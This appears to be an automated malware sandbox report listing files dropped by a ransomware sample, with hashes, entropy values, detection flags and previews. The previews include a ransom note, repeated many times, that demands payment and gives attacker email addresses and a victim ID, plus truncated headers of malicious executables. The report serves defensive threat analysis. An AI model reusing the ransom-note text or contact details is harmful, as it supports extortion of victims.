                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):64
                                                                                                                                                                Entropy (8bit):1.1510207563435464
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:NlllulGlh:NllUy
                                                                                                                                                                MD5:429CFE531C9E3A99A0FFB8B880201F64
                                                                                                                                                                SHA1:43B8B2B8A8E929FCFE3934A74E66DEFF8E6E41F9
                                                                                                                                                                SHA-256:E5F3B809FF01ABCF00CFD568B86672F170214F0506DAADEB0C0B1A14442BEE3F
                                                                                                                                                                SHA-512:29FDA1592C5DCF7E3C7D3ABC7EE869DF60C0936C9B8CE497BA220F06181AB5A2AD6F6FA58D48C4CCE1951FA3787F9BC56F1AF1AE716A79EDB649BE47B188CE94
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:@...e.................................K..............@..........
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):60
                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):902856
                                                                                                                                                                Entropy (8bit):6.617978034241425
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:12288:py9sG8ih195+OeO+OeNhBBhhBBajWhKR81G9banL73KkHgkgrUid4X9FS45+9voL:py9sG8ih1Lmx73KkAY9F/wvoh3Xfyud
                                                                                                                                                                MD5:2B986178DA0C3D081F99AC8FB4A5952C
                                                                                                                                                                SHA1:41B53598BFC1BDB21E023B11A49BDAB967203681
                                                                                                                                                                SHA-256:A20BDB925E1F673B30DA71C943E9DD460EE68E23B44FE00C8A1B09609804F105
                                                                                                                                                                SHA-512:713BF8ECA867755B40067097A2474DB37EB2D4DD60A056AEACE3B3856D7A730A701B474F12B0997A942D0E6B32491CC455F7F3D70B7C6655C8848801C70816B2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Antivirus:
                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 87%
                                                                                                                                                                Joe Sandbox View:
                                                                                                                                                                • Filename: NOTIFICATION_OF_DEPENDANTS.vbs, Detection: malicious, Browse
                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{h.............x......x..r...x......o......o......o......o......x......x..........q....o.......o...............o......Rich....................PE..L...~\cg.....................$......<.............@.......................................@..................................K...........q...............(...`.......b..p...................@c.......b..@...............0............................text............................... ..`.rdata..............................@..@.data...l....`...^...F..............@....rsrc....q.......r..................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................
                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):211656
                                                                                                                                                                Entropy (8bit):6.682260957753181
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:3072:4pEegLluZoATP/QGdqlhNFIkiFnZDJVvU1nSXZOAg0Fuj0pJgOgpQkV+tpMEaE:4pDyp2AQq3FWFnRehAOXpQkY7MY
                                                                                                                                                                MD5:FCCD129F6A5B9D2133D14922A3614F02
                                                                                                                                                                SHA1:E814C637E6F0C21F3AA9B43FB92CB161B4D451FC
                                                                                                                                                                SHA-256:4B4A87552C44158FB53A72C7294319B0DDDE9F99F460425AD5997D3B9121CD1E
                                                                                                                                                                SHA-512:C1594504053BBE2B061880D1FF69819ECA8BDD2BC882B74F415FF8A1515389E32B8D7CD1B931D65B042247FD05DF1751A000D6DA4219427B74E9CDB0E0E52979
                                                                                                                                                                Malicious:true
                                                                                                                                                                Antivirus:
                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 50%
                                                                                                                                                                Joe Sandbox View:
                                                                                                                                                                • Filename: NOTIFICATION_OF_DEPENDANTS.vbs, Detection: malicious, Browse
                                                                                                                                                                • Filename: NOTIFICATION_OF_DEPENDANTS.vbs, Detection: malicious, Browse
                                                                                                                                                                • Filename: NOTIFICATION_OF_DEPENDANTS.vbs, Detection: malicious, Browse
                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.B.5.,.5.,.5.,.F./.8.,.F.)...,.F.(.#.,.g.(.:.,.g./. .,.g.).p.,.F.-.6.,.5.-.J.,...%.7.,....4.,.....4.,.Rich5.,.........................PE..L.....\g...........!................v~.......................................@............@.....................................(........................(... ..........p...............................@...............8............................text............................... ..`.rdata..............................@..@.data...............................@....rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):292
                                                                                                                                                                Entropy (8bit):7.212436386093733
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:6:KWyy1JBq5Mm96fyiQsZ9Qp07usOLymfzGYhvOcooirUj2Fgn:KAa96fAsZP7DOLyYzGYhvXooiwDn
                                                                                                                                                                MD5:2E5E6CC12BCBD9BF1D413355AA232032
                                                                                                                                                                SHA1:9B793C9B078B8D9F1CF6314BEC3C69FA1DFEE097
                                                                                                                                                                SHA-256:6EF95EACF1B41123206F9FE91C8808F44B7E7D5A57F5F91D3622B0EC251AB4EF
                                                                                                                                                                SHA-512:0F35DFB4731B2709EEB5C58F0FD3DF9232B3B7DC95A4FAC80508C59AE49B0A3B4F8DF9C36A1837BB0A0E70B879C75DC777CCC922AFB4CB77266703D3128FACD8
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..D|H^..u_..=......................`... ..D.=..7.bE......b...zG....Z0*........N=.M....(7_...R..DQ......<..X'..=!.2.~..^.xH.......z.?.......6@j.s.M0...7.+..*..r.'b...a..m_...[.v.2P.....JB......8..p..p6Dv.....$[..r.Ct.....h....]/.h.....c.`o>../S].3%6...j.... Zpi.........ly..e0xABADCABA
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
